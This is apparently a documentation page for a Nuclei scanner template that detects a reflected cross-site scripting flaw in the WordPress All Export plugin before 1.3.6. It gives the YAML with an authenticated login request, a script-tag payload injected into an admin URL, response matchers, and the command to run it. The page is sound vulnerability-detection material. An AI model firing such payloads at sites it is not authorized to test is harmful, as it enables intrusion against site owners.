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WordPress All Export <1.3.6 - Cross-Site Scripting

ID: wp-all-export-xss

Severity: medium

Author: Akincibor

Tags: wp-plugin,xss,wp,wordpress,authenticated,wpscan

Description

Section titled “Description”

WordPress All Export plugin before version 1.3.6 does not escape some URLs before outputting them back in attributes, leading to reflected cross-site scripting.

YAML Source

Section titled “YAML Source”
id: wp-all-export-xss


info:
  name: WordPress All Export <1.3.6 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: WordPress All Export plugin before version 1.3.6 does not escape some URLs before outputting them back in attributes, leading to reflected cross-site scripting.
  reference:
    - https://wpscan.com/vulnerability/de330a59-d64d-40be-86df-98997949e5e4
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
  metadata:
    verified: true
    max-request: 2
  tags: wp-plugin,xss,wp,wordpress,authenticated,wpscan


http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Origin: {{RootURL}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check


        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=pmxe-admin-manage&a"><script>alert(1)</script> HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'manage&a\"><script>alert(1)</script>">'
          - 'Manage Exports'
        condition: and


      - type: word
        part: header
        words:
          - text/html


      - type: status
        status:
          - 200
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Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/wp-all-export-xss.yaml"

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